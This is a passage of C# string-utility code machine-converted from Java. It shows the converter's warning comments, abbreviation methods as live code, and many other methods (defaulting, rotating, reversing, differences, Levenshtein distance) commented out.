</returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean isAllUpperCase(final CharSequence cs) // public static bool isAllUpperCase(CharSequence cs) // { // if (cs == null || isEmpty(cs)) // { // return false; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int sz = cs.length(); // int sz = cs.length(); // for (int i = 0; i < sz; i++) // { // if (char.IsUpper(cs.charAt(i)) == false) // { // return false; // } // } // return true; // } // // Defaults // //----------------------------------------------------------------------- // /// <summary> // /// <para>Returns either the passed in String, // /// or if the String is {@code null}, an empty String ("").</para> // /// // /// <pre> // /// StringUtils.defaultString(null) = "" // /// StringUtils.defaultString("") = "" // /// StringUtils.defaultString("bat") = "bat" // /// </pre> // /// </summary> // /// <seealso cref= ObjectUtils#toString(Object) </seealso> // /// <seealso cref= String#valueOf(Object) </seealso> // /// <param name="str"> the String to check, may be null </param> // /// <returns> the passed in String, or the empty String if it // /// was {@code null} </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String defaultString(final String str) // public static string defaultString(string str) // { // return string.ReferenceEquals(str, null) ? EMPTY : str; // } // /// <summary> // /// <para>Returns either the passed in String, or if the String is // /// {@code null}, the value of {@code defaultStr}.</para> // /// // /// <pre> // /// StringUtils.defaultString(null, "NULL") = "NULL" // /// StringUtils.defaultString("", "NULL") = "" // /// StringUtils.defaultString("bat", "NULL") = "bat" // /// </pre> // /// </summary> // /// <seealso cref= ObjectUtils#toString(Object,String) </seealso> // /// <seealso cref= String#valueOf(Object) </seealso> // /// <param name="str"> the String to check, may be null </param> // /// <param name="defaultStr"> the default String to return // /// if the input is {@code null}, may be null </param> // /// <returns> the passed in String, or the default if it was {@code null} </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String defaultString(final String str, final String defaultStr) // public static string defaultString(string str, string defaultStr) // { // return string.ReferenceEquals(str, null) ? defaultStr : str; // } // /// <summary> // /// <para>Returns either the passed in CharSequence, or if the CharSequence is // /// whitespace, empty ("") or {@code null}, the value of {@code defaultStr}.</para> // /// // /// </p>Whitespace is defined by <seealso cref="Character#isWhitespace(char)"/>.</p> // /// // /// <pre> // /// StringUtils.defaultIfBlank(null, "NULL") = "NULL" // /// StringUtils.defaultIfBlank("", "NULL") = "NULL" // /// StringUtils.defaultIfBlank(" ", "NULL") = "NULL" // /// StringUtils.defaultIfBlank("bat", "NULL") = "bat" // /// StringUtils.defaultIfBlank("", null) = null // /// </pre> </summary> // /// @param <T> the specific kind of CharSequence </param> // /// <param name="str"> the CharSequence to check, may be null </param> // /// <param name="defaultStr"> the default CharSequence to return // /// if the input is whitespace, empty ("") or {@code null}, may be null </param> // /// <returns> the passed in CharSequence, or the default </returns> // /// <seealso cref= StringUtils#defaultString(String, String) </seealso> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static <T extends CharSequence> T defaultIfBlank(final T str, final T defaultStr) // public static T defaultIfBlank<T>(T str, T defaultStr) where T : CharSequence // { // return isBlank(str) ? defaultStr : str; // } // /// <summary> // /// <para>Returns either the passed in CharSequence, or if the CharSequence is // /// empty or {@code null}, the value of {@code defaultStr}.</para> // /// // /// <pre> // /// StringUtils.defaultIfEmpty(null, "NULL") = "NULL" // /// StringUtils.defaultIfEmpty("", "NULL") = "NULL" // /// StringUtils.defaultIfEmpty(" ", "NULL") = " " // /// StringUtils.defaultIfEmpty("bat", "NULL") = "bat" // /// StringUtils.defaultIfEmpty("", null) = null // /// </pre> </summary> // /// @param <T> the specific kind of CharSequence </param> // /// <param name="str"> the CharSequence to check, may be null </param> // /// <param name="defaultStr"> the default CharSequence to return // /// if the input is empty ("") or {@code null}, may be null </param> // /// <returns> the passed in CharSequence, or the default </returns> // /// <seealso cref= StringUtils#defaultString(String, String) </seealso> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static <T extends CharSequence> T defaultIfEmpty(final T str, final T defaultStr) // public static T defaultIfEmpty<T>(T str, T defaultStr) where T : CharSequence // { // return isEmpty(str) ? defaultStr : str; // } // // Rotating (circular shift) // //----------------------------------------------------------------------- // /// <summary> // /// <para>Rotate (circular shift) a String of {@code shift} characters.</para> // /// <ul> // /// <li>If {@code shift > 0}, right circular shift (ex : ABCDEF =&gt; FABCDE)</li> // /// <li>If {@code shift < 0}, left circular shift (ex : ABCDEF =&gt; BCDEFA)</li> // /// </ul> // /// // /// <pre> // /// StringUtils.rotate(null, *) = null // /// StringUtils.rotate("", *) = "" // /// StringUtils.rotate("abcdefg", 0) = "abcdefg" // /// StringUtils.rotate("abcdefg", 2) = "fgabcde" // /// StringUtils.rotate("abcdefg", -2) = "cdefgab" // /// StringUtils.rotate("abcdefg", 7) = "abcdefg" // /// StringUtils.rotate("abcdefg", -7) = "abcdefg" // /// StringUtils.rotate("abcdefg", 9) = "fgabcde" // /// StringUtils.rotate("abcdefg", -9) = "cdefgab" // /// </pre> // /// </summary> // /// <param name="str"> the String to rotate, may be null </param> // /// <param name="shift"> number of time to shift (positive : right shift, negative : left shift) </param> // /// <returns> the rotated String, // /// or the original String if {@code shift == 0}, // /// or {@code null} if null String input // /// @since 3.5 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String rotate(final String str, final int shift) // public static string rotate(string str, int shift) // { // if (string.ReferenceEquals(str, null)) // { // return null; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int strLen = str.length(); // int strLen = str.Length; // if (shift == 0 || strLen == 0 || shift % strLen == 0) // { // return str; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final StringBuilder builder = new StringBuilder(strLen); // StringBuilder builder = new StringBuilder(strLen); // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int offset = - (shift % strLen); // int offset = -(shift % strLen); // builder.Append(substring(str, offset)); // builder.Append(substring(str, 0, offset)); // return builder.ToString(); // } // // Reversing // //----------------------------------------------------------------------- // /// <summary> // /// <para>Reverses a String as per <seealso cref="StringBuilder#reverse()"/>.</para> // /// // /// <para>A {@code null} String returns {@code null}.</para> // /// // /// <pre> // /// StringUtils.reverse(null) = null // /// StringUtils.reverse("") = "" // /// StringUtils.reverse("bat") = "tab" // /// </pre> // /// </summary> // /// <param name="str"> the String to reverse, may be null </param> // /// <returns> the reversed String, {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String reverse(final String str) // public static string reverse(string str) // { // if (string.ReferenceEquals(str, null)) // { // return null; // } // //JAVA TO C# CONVERTER TODO TASK: There is no .NET StringBuilder equivalent to the Java 'reverse' method: // return (new StringBuilder(str)).reverse().ToString(); // } // /// <summary> // /// <para>Reverses a String that is delimited by a specific character.</para> // /// // /// <para>The Strings between the delimiters are not reversed. // /// Thus java.lang.String becomes String.lang.java (if the delimiter // /// is {@code '.'}).</para> // /// // /// <pre> // /// StringUtils.reverseDelimited(null, *) = null // /// StringUtils.reverseDelimited("", *) = "" // /// StringUtils.reverseDelimited("a.b.c", 'x') = "a.b.c" // /// StringUtils.reverseDelimited("a.b.c", ".") = "c.b.a" // /// </pre> // /// </summary> // /// <param name="str"> the String to reverse, may be null </param> // /// <param name="separatorChar"> the separator character to use </param> // /// <returns> the reversed String, {@code null} if null String input // /// @since 2.0 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String reverseDelimited(final String str, final char separatorChar) // public static string reverseDelimited(string str, char separatorChar) // { // if (string.ReferenceEquals(str, null)) // { // return null; // } // // could implement manually, but simple way is to reuse other, // // probably slower, methods. // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final String[] strs = split(str, separatorChar); // string[] strs = split(str, separatorChar); // ArrayUtils.reverse(strs); // return join(strs, separatorChar); // } // Abbreviating //----------------------------------------------------------------------- /// <summary> /// <para>Abbreviates a String using ellipses. This will turn /// "Now is the time for all good men" into "Now is the time for..."</para> /// /// <para>Specifically:</para> /// <ul> /// <li>If the number of characters in {@code str} is less than or equal to /// {@code maxWidth}, return {@code str}.</li> /// <li>Else abbreviate it to {@code (substring(str, 0, max-3) + "...")}.</li> /// <li>If {@code maxWidth} is less than {@code 4}, throw an /// {@code IllegalArgumentException}.</li> /// <li>In no case will it return a String of length greater than /// {@code maxWidth}.</li> /// </ul> /// /// <pre> /// StringUtils.abbreviate(null, *) = null /// StringUtils.abbreviate("", 4) = "" /// StringUtils.abbreviate("abcdefg", 6) = "abc..." /// StringUtils.abbreviate("abcdefg", 7) = "abcdefg" /// StringUtils.abbreviate("abcdefg", 8) = "abcdefg" /// StringUtils.abbreviate("abcdefg", 4) = "a..." /// StringUtils.abbreviate("abcdefg", 3) = IllegalArgumentException /// </pre> /// </summary> /// <param name="str"> the String to check, may be null </param> /// <param name="maxWidth"> maximum length of result String, must be at least 4 </param> /// <returns> abbreviated String, {@code null} if null String input </returns> /// <exception cref="IllegalArgumentException"> if the width is too small /// @since 2.0 </exception> //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: //ORIGINAL LINE: public static String abbreviate(final String str, final int maxWidth) public static string abbreviate(string str, int maxWidth) { const string defaultAbbrevMarker = "..."; return abbreviate(str, defaultAbbrevMarker, 0, maxWidth); } /// <summary> /// <para>Abbreviates a String using ellipses. This will turn /// "Now is the time for all good men" into "...is the time for..."</para> /// /// <para>Works like {@code abbreviate(String, int)}, but allows you to specify /// a "left edge" offset. Note that this left edge is not necessarily going to /// be the leftmost character in the result, or the first character following the /// ellipses, but it will appear somewhere in the result. /// /// </para> /// <para>In no case will it return a String of length greater than /// {@code maxWidth}.</para> /// /// <pre> /// StringUtils.abbreviate(null, *, *) = null /// StringUtils.abbreviate("", 0, 4) = "" /// StringUtils.abbreviate("abcdefghijklmno", -1, 10) = "abcdefg..." /// StringUtils.abbreviate("abcdefghijklmno", 0, 10) = "abcdefg..." /// StringUtils.abbreviate("abcdefghijklmno", 1, 10) = "abcdefg..." /// StringUtils.abbreviate("abcdefghijklmno", 4, 10) = "abcdefg..." /// StringUtils.abbreviate("abcdefghijklmno", 5, 10) = "...fghi..." /// StringUtils.abbreviate("abcdefghijklmno", 6, 10) = "...ghij..." /// StringUtils.abbreviate("abcdefghijklmno", 8, 10) = "...ijklmno" /// StringUtils.abbreviate("abcdefghijklmno", 10, 10) = "...ijklmno" /// StringUtils.abbreviate("abcdefghijklmno", 12, 10) = "...ijklmno" /// StringUtils.abbreviate("abcdefghij", 0, 3) = IllegalArgumentException /// StringUtils.abbreviate("abcdefghij", 5, 6) = IllegalArgumentException /// </pre> /// </summary> /// <param name="str"> the String to check, may be null </param> /// <param name="offset"> left edge of source String </param> /// <param name="maxWidth"> maximum length of result String, must be at least 4 </param> /// <returns> abbreviated String, {@code null} if null String input </returns> /// <exception cref="IllegalArgumentException"> if the width is too small /// @since 2.0 </exception> //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: //ORIGINAL LINE: public static String abbreviate(final String str, final int offset, final int maxWidth) public static string abbreviate(string str, int offset, int maxWidth) { const string defaultAbbrevMarker = "..."; return abbreviate(str, defaultAbbrevMarker, offset, maxWidth); } /// <summary> /// <para>Abbreviates a String using another given String as replacement marker. This will turn /// "Now is the time for all good men" into "Now is the time for..." if "..." was defined /// as the replacement marker.</para> /// /// <para>Specifically:</para> /// <ul> /// <li>If the number of characters in {@code str} is less than or equal to /// {@code maxWidth}, return {@code str}.</li> /// <li>Else abbreviate it to {@code (substring(str, 0, max-abbrevMarker.length) + abbrevMarker)}.</li> /// <li>If {@code maxWidth} is less than {@code abbrevMarker.length + 1}, throw an /// {@code IllegalArgumentException}.</li> /// <li>In no case will it return a String of length greater than /// {@code maxWidth}.</li> /// </ul> /// /// <pre> /// StringUtils.abbreviate(null, "...", *) = null /// StringUtils.abbreviate("abcdefg", null, *) = "abcdefg" /// StringUtils.abbreviate("", "...", 4) = "" /// StringUtils.abbreviate("abcdefg", ".", 5) = "abcd." /// StringUtils.abbreviate("abcdefg", ".", 7) = "abcdefg" /// StringUtils.abbreviate("abcdefg", ".", 8) = "abcdefg" /// StringUtils.abbreviate("abcdefg", "..", 4) = "ab.." /// StringUtils.abbreviate("abcdefg", "..", 3) = "a.." /// StringUtils.abbreviate("abcdefg", "..", 2) = IllegalArgumentException /// StringUtils.abbreviate("abcdefg", "...", 3) = IllegalArgumentException /// </pre> /// </summary> /// <param name="str"> the String to check, may be null </param> /// <param name="abbrevMarker"> the String used as replacement marker </param> /// <param name="maxWidth"> maximum length of result String, must be at least {@code abbrevMarker.length + 1} </param> /// <returns> abbreviated String, {@code null} if null String input </returns> /// <exception cref="IllegalArgumentException"> if the width is too small /// @since 3.5 </exception> //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: //ORIGINAL LINE: public static String abbreviate(final String str, final String abbrevMarker, final int maxWidth) public static string abbreviate(string str, string abbrevMarker, int maxWidth) { return abbreviate(str, abbrevMarker, 0, maxWidth); } /// <summary> /// <para>Abbreviates a String using a given replacement marker. This will turn /// "Now is the time for all good men" into "...is the time for..." if "..." was defined /// as the replacement marker.</para> /// /// <para>Works like {@code abbreviate(String, String, int)}, but allows you to specify /// a "left edge" offset. Note that this left edge is not necessarily going to /// be the leftmost character in the result, or the first character following the /// replacement marker, but it will appear somewhere in the result. /// /// </para> /// <para>In no case will it return a String of length greater than {@code maxWidth}.</para> /// /// <pre> /// StringUtils.abbreviate(null, null, *, *) = null /// StringUtils.abbreviate("abcdefghijklmno", null, *, *) = "abcdefghijklmno" /// StringUtils.abbreviate("", "...", 0, 4) = "" /// StringUtils.abbreviate("abcdefghijklmno", "---", -1, 10) = "abcdefg---" /// StringUtils.abbreviate("abcdefghijklmno", ",", 0, 10) = "abcdefghi," /// StringUtils.abbreviate("abcdefghijklmno", ",", 1, 10) = "abcdefghi," /// StringUtils.abbreviate("abcdefghijklmno", ",", 2, 10) = "abcdefghi," /// StringUtils.abbreviate("abcdefghijklmno", "::", 4, 10) = "::efghij::" /// StringUtils.abbreviate("abcdefghijklmno", "...", 6, 10) = "...ghij..." /// StringUtils.abbreviate("abcdefghijklmno", "*", 9, 10) = "*ghijklmno" /// StringUtils.abbreviate("abcdefghijklmno", "'", 10, 10) = "'ghijklmno" /// StringUtils.abbreviate("abcdefghijklmno", "!", 12, 10) = "!ghijklmno" /// StringUtils.abbreviate("abcdefghij", "abra", 0, 4) = IllegalArgumentException /// StringUtils.abbreviate("abcdefghij", "...", 5, 6) = IllegalArgumentException /// </pre> /// </summary> /// <param name="str"> the String to check, may be null </param> /// <param name="abbrevMarker"> the String used as replacement marker </param> /// <param name="offset"> left edge of source String </param> /// <param name="maxWidth"> maximum length of result String, must be at least 4 </param> /// <returns> abbreviated String, {@code null} if null String input </returns> /// <exception cref="IllegalArgumentException"> if the width is too small /// @since 3.5 </exception> //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: //ORIGINAL LINE: public static String abbreviate(final String str, final String abbrevMarker, int offset, final int maxWidth) public static string abbreviate(string str, string abbrevMarker, int offset, int maxWidth) { if (isEmpty(str) || isEmpty(abbrevMarker)) { return str; } //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final int abbrevMarkerLength = abbrevMarker.length(); int abbrevMarkerLength = abbrevMarker.Length; //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final int minAbbrevWidth = abbrevMarkerLength + 1; int minAbbrevWidth = abbrevMarkerLength + 1; //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final int minAbbrevWidthOffset = abbrevMarkerLength + abbrevMarkerLength + 1; int minAbbrevWidthOffset = abbrevMarkerLength + abbrevMarkerLength + 1; if (maxWidth < minAbbrevWidth) { throw new System.ArgumentException(string.Format("Minimum abbreviation width is {0:D}", minAbbrevWidth)); } if (str.Length <= maxWidth) { return str; } if (offset > str.Length) { offset = str.Length; } if (str.Length - offset < maxWidth - abbrevMarkerLength) { offset = str.Length - (maxWidth - abbrevMarkerLength); } if (offset <= abbrevMarkerLength + 1) { return str.Substring(0, maxWidth - abbrevMarkerLength) + abbrevMarker; } if (maxWidth < minAbbrevWidthOffset) { throw new System.ArgumentException(string.Format("Minimum abbreviation width with offset is {0:D}", minAbbrevWidthOffset)); } if (offset + maxWidth - abbrevMarkerLength < str.Length) { return abbrevMarker + abbreviate(str.Substring(offset), abbrevMarker, maxWidth - abbrevMarkerLength); } return abbrevMarker + str.Substring(str.Length - (maxWidth - abbrevMarkerLength)); } /// <summary> /// <para>Abbreviates a String to the length passed, replacing the middle characters with the supplied /// replacement String.</para> /// /// <para>This abbreviation only occurs if the following criteria is met:</para> /// <ul> /// <li>Neither the String for abbreviation nor the replacement String are null or empty </li> /// <li>The length to truncate to is less than the length of the supplied String</li> /// <li>The length to truncate to is greater than 0</li> /// <li>The abbreviated String will have enough room for the length supplied replacement String /// and the first and last characters of the supplied String for abbreviation</li> /// </ul> /// <para>Otherwise, the returned String will be the same as the supplied String for abbreviation. /// </para> /// /// <pre> /// StringUtils.abbreviateMiddle(null, null, 0) = null /// StringUtils.abbreviateMiddle("abc", null, 0) = "abc" /// StringUtils.abbreviateMiddle("abc", ".", 0) = "abc" /// StringUtils.abbreviateMiddle("abc", ".", 3) = "abc" /// StringUtils.abbreviateMiddle("abcdef", ".", 4) = "ab.f" /// </pre> /// </summary> /// <param name="str"> the String to abbreviate, may be null </param> /// <param name="middle"> the String to replace the middle characters with, may be null </param> /// <param name="length"> the length to abbreviate {@code str} to. </param> /// <returns> the abbreviated String if the above criteria is met, or the original String supplied for abbreviation. /// @since 2.5 </returns> //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: //ORIGINAL LINE: public static String abbreviateMiddle(final String str, final String middle, final int length) public static string abbreviateMiddle(string str, string middle, int length) { if (isEmpty(str) || isEmpty(middle)) { return str; } if (length >= str.Length || length < middle.Length + 2) { return str; } //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final int targetSting = length-middle.length(); int targetSting = length - middle.Length; //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final int startOffset = targetSting/2+targetSting%2; int startOffset = targetSting / 2 + targetSting % 2; //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final int endOffset = str.length()-targetSting/2; int endOffset = str.Length - targetSting / 2; //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final StringBuilder builder = new StringBuilder(length); StringBuilder builder = new StringBuilder(length); builder.Append(str.Substring(0, startOffset)); builder.Append(middle); builder.Append(str.Substring(endOffset)); return builder.ToString(); } // // Difference // //----------------------------------------------------------------------- // /// <summary> // /// <para>Compares two Strings, and returns the portion where they differ. // /// More precisely, return the remainder of the second String, // /// starting from where it's different from the first. This means that // /// the difference between "abc" and "ab" is the empty String and not "c". </para> // /// // /// <para>For example, // /// {@code difference("i am a machine", "i am a robot") -> "robot"}.</para> // /// // /// <pre> // /// StringUtils.difference(null, null) = null // /// StringUtils.difference("", "") = "" // /// StringUtils.difference("", "abc") = "abc" // /// StringUtils.difference("abc", "") = "" // /// StringUtils.difference("abc", "abc") = "" // /// StringUtils.difference("abc", "ab") = "" // /// StringUtils.difference("ab", "abxyz") = "xyz" // /// StringUtils.difference("abcde", "abxyz") = "xyz" // /// StringUtils.difference("abcde", "xyz") = "xyz" // /// </pre> // /// </summary> // /// <param name="str1"> the first String, may be null </param> // /// <param name="str2"> the second String, may be null </param> // /// <returns> the portion of str2 where it differs from str1; returns the // /// empty String if they are equal </returns> // /// <seealso cref= #indexOfDifference(CharSequence,CharSequence) // /// @since 2.0 </seealso> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String difference(final String str1, final String str2) // public static string difference(string str1, string str2) // { // if (string.ReferenceEquals(str1, null)) // { // return str2; // } // if (string.ReferenceEquals(str2, null)) // { // return str1; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int at = indexOfDifference(str1, str2); // int at = indexOfDifference(str1, str2); // if (at == INDEX_NOT_FOUND) // { // return EMPTY; // } // return str2.Substring(at); // } // /// <summary> // /// <para>Compares two CharSequences, and returns the index at which the // /// CharSequences begin to differ.</para> // /// // /// <para>For example, // /// {@code indexOfDifference("i am a machine", "i am a robot") -> 7}</para> // /// // /// <pre> // /// StringUtils.indexOfDifference(null, null) = -1 // /// StringUtils.indexOfDifference("", "") = -1 // /// StringUtils.indexOfDifference("", "abc") = 0 // /// StringUtils.indexOfDifference("abc", "") = 0 // /// StringUtils.indexOfDifference("abc", "abc") = -1 // /// StringUtils.indexOfDifference("ab", "abxyz") = 2 // /// StringUtils.indexOfDifference("abcde", "abxyz") = 2 // /// StringUtils.indexOfDifference("abcde", "xyz") = 0 // /// </pre> // /// </summary> // /// <param name="cs1"> the first CharSequence, may be null </param> // /// <param name="cs2"> the second CharSequence, may be null </param> // /// <returns> the index where cs1 and cs2 begin to differ; -1 if they are equal // /// @since 2.0 // /// @since 3.0 Changed signature from indexOfDifference(String, String) to // /// indexOfDifference(CharSequence, CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int indexOfDifference(final CharSequence cs1, final CharSequence cs2) // public static int indexOfDifference(CharSequence cs1, CharSequence cs2) // { // if (cs1 == cs2) // { // return INDEX_NOT_FOUND; // } // if (cs1 == null || cs2 == null) // { // return 0; // } // int i; // for (i = 0; i < cs1.length() && i < cs2.length(); ++i) // { // if (cs1.charAt(i) != cs2.charAt(i)) // { // break; // } // } // if (i < cs2.length() || i < cs1.length()) // { // return i; // } // return INDEX_NOT_FOUND; // } // /// <summary> // /// <para>Compares all CharSequences in an array and returns the index at which the // /// CharSequences begin to differ.</para> // /// // /// <para>For example, // /// <code>indexOfDifference(new String[] {"i am a machine", "i am a robot"}) -&gt; 7</code></para> // /// // /// <pre> // /// StringUtils.indexOfDifference(null) = -1 // /// StringUtils.indexOfDifference(new String[] {}) = -1 // /// StringUtils.indexOfDifference(new String[] {"abc"}) = -1 // /// StringUtils.indexOfDifference(new String[] {null, null}) = -1 // /// StringUtils.indexOfDifference(new String[] {"", ""}) = -1 // /// StringUtils.indexOfDifference(new String[] {"", null}) = 0 // /// StringUtils.indexOfDifference(new String[] {"abc", null, null}) = 0 // /// StringUtils.indexOfDifference(new String[] {null, null, "abc"}) = 0 // /// StringUtils.indexOfDifference(new String[] {"", "abc"}) = 0 // /// StringUtils.indexOfDifference(new String[] {"abc", ""}) = 0 // /// StringUtils.indexOfDifference(new String[] {"abc", "abc"}) = -1 // /// StringUtils.indexOfDifference(new String[] {"abc", "a"}) = 1 // /// StringUtils.indexOfDifference(new String[] {"ab", "abxyz"}) = 2 // /// StringUtils.indexOfDifference(new String[] {"abcde", "abxyz"}) = 2 // /// StringUtils.indexOfDifference(new String[] {"abcde", "xyz"}) = 0 // /// StringUtils.indexOfDifference(new String[] {"xyz", "abcde"}) = 0 // /// StringUtils.indexOfDifference(new String[] {"i am a machine", "i am a robot"}) = 7 // /// </pre> // /// </summary> // /// <param name="css"> array of CharSequences, entries may be null </param> // /// <returns> the index where the strings begin to differ; -1 if they are all equal // /// @since 2.4 // /// @since 3.0 Changed signature from indexOfDifference(String...) to indexOfDifference(CharSequence...) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int indexOfDifference(final CharSequence... css) // public static int indexOfDifference(params CharSequence[] css) // { // if (css == null || css.Length <= 1) // { // return INDEX_NOT_FOUND; // } // bool anyStringNull = false; // bool allStringsNull = true; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int arrayLen = css.length; // int arrayLen = css.Length; // int shortestStrLen = int.MaxValue; // int longestStrLen = 0; // // find the min and max string lengths; this avoids checking to make // // sure we are not exceeding the length of the string each time through // // the bottom loop. // for (int i = 0; i < arrayLen; i++) // { // if (css[i] == null) // { // anyStringNull = true; // shortestStrLen = 0; // } // else // { // allStringsNull = false; // shortestStrLen = Math.Min(css[i].length(), shortestStrLen); // longestStrLen = Math.Max(css[i].length(), longestStrLen); // } // } // // handle lists containing all nulls or all empty strings // if (allStringsNull || longestStrLen == 0 && !anyStringNull) // { // return INDEX_NOT_FOUND; // } // // handle lists containing some nulls or some empty strings // if (shortestStrLen == 0) // { // return 0; // } // // find the position with the first difference across all strings // int firstDiff = -1; // for (int stringPos = 0; stringPos < shortestStrLen; stringPos++) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final char comparisonChar = css[0].charAt(stringPos); // char comparisonChar = css[0].charAt(stringPos); // for (int arrayPos = 1; arrayPos < arrayLen; arrayPos++) // { // if (css[arrayPos].charAt(stringPos) != comparisonChar) // { // firstDiff = stringPos; // break; // } // } // if (firstDiff != -1) // { // break; // } // } // if (firstDiff == -1 && shortestStrLen != longestStrLen) // { // // we compared all of the characters up to the length of the // // shortest string and didn't find a match, but the string lengths // // vary, so return the length of the shortest string. // return shortestStrLen; // } // return firstDiff; // } // /// <summary> // /// <para>Compares all Strings in an array and returns the initial sequence of // /// characters that is common to all of them.</para> // /// // /// <para>For example, // /// <code>getCommonPrefix(new String[] {"i am a machine", "i am a robot"}) -&gt; "i am a "</code></para> // /// // /// <pre> // /// StringUtils.getCommonPrefix(null) = "" // /// StringUtils.getCommonPrefix(new String[] {}) = "" // /// StringUtils.getCommonPrefix(new String[] {"abc"}) = "abc" // /// StringUtils.getCommonPrefix(new String[] {null, null}) = "" // /// StringUtils.getCommonPrefix(new String[] {"", ""}) = "" // /// StringUtils.getCommonPrefix(new String[] {"", null}) = "" // /// StringUtils.getCommonPrefix(new String[] {"abc", null, null}) = "" // /// StringUtils.getCommonPrefix(new String[] {null, null, "abc"}) = "" // /// StringUtils.getCommonPrefix(new String[] {"", "abc"}) = "" // /// StringUtils.getCommonPrefix(new String[] {"abc", ""}) = "" // /// StringUtils.getCommonPrefix(new String[] {"abc", "abc"}) = "abc" // /// StringUtils.getCommonPrefix(new String[] {"abc", "a"}) = "a" // /// StringUtils.getCommonPrefix(new String[] {"ab", "abxyz"}) = "ab" // /// StringUtils.getCommonPrefix(new String[] {"abcde", "abxyz"}) = "ab" // /// StringUtils.getCommonPrefix(new String[] {"abcde", "xyz"}) = "" // /// StringUtils.getCommonPrefix(new String[] {"xyz", "abcde"}) = "" // /// StringUtils.getCommonPrefix(new String[] {"i am a machine", "i am a robot"}) = "i am a " // /// </pre> // /// </summary> // /// <param name="strs"> array of String objects, entries may be null </param> // /// <returns> the initial sequence of characters that are common to all Strings // /// in the array; empty String if the array is null, the elements are all null // /// or if there is no common prefix. // /// @since 2.4 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String getCommonPrefix(final String... strs) // public static string getCommonPrefix(params string[] strs) // { // if (strs == null || strs.Length == 0) // { // return EMPTY; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int smallestIndexOfDiff = indexOfDifference(strs); // int smallestIndexOfDiff = indexOfDifference(strs); // if (smallestIndexOfDiff == INDEX_NOT_FOUND) // { // // all strings were identical // if (string.ReferenceEquals(strs[0], null)) // { // return EMPTY; // } // return strs[0]; // } // else if (smallestIndexOfDiff == 0) // { // // there were no common initial characters // return EMPTY; // } // else // { // // we found a common initial character sequence // return strs[0].Substring(0, smallestIndexOfDiff); // } // } // // Misc // //----------------------------------------------------------------------- // /// <summary> // /// <para>Find the Levenshtein distance between two Strings.</para> // /// // /// <para>This is the number of changes needed to change one String into // /// another, where each change is a single character modification (deletion, // /// insertion or substitution).</para> // /// // /// <para>The implementation uses a single-dimensional array of length s.length() + 1. See // /// <a href="http://blog.softwx.net/2014/12/optimizing-levenshtein-algorithm-in-c.html"> // /// http://blog.softwx.net/2014/12/optimizing-levenshtein-algorithm-in-c.html</a> for details.</para> // /// // /// <pre> // /// StringUtils.getLevenshteinDistance(null, *) = IllegalArgumentException // /// StringUtils.getLevenshteinDistance(*, null) = IllegalArgumentException // /// StringUtils.getLevenshteinDistance("","") = 0 // /// StringUtils.getLevenshteinDistance("","a") = 1 // /// StringUtils.getLevenshteinDistance("aaapppp", "") = 7 // /// StringUtils.getLevenshteinDistance("frog", "fog") = 1 // /// StringUtils.getLevenshteinDistance("fly", "ant") = 3 // /// StringUtils.getLevenshteinDistance("elephant", "hippo") = 7 // /// StringUtils.getLevenshteinDistance("hippo", "elephant") = 7 // /// StringUtils.getLevenshteinDistance("hippo", "zzzzzzzz") = 8 // /// StringUtils.getLevenshteinDistance("hello", "hallo") = 1 // /// </pre> // /// </summary> // /// <param name="s"> the first String, must not be null </param> // /// <param name="t"> the second String, must not be null </param> // /// <returns> result distance </returns> // /// <exception cref="IllegalArgumentException"> if either String input {@code null} // /// @since 3.0 Changed signature from getLevenshteinDistance(String, String) to // /// getLevenshteinDistance(CharSequence, CharSequence) </exception> // public static int getLevenshteinDistance(CharSequence s, CharSequence t) // { // if (s == null || t == null) // { // throw new System.ArgumentException("Strings must not be null"); // } // int n = s.length(); // int m = t.length(); // if (n == 0) // { // return m; // } // else if (m == 0) // { 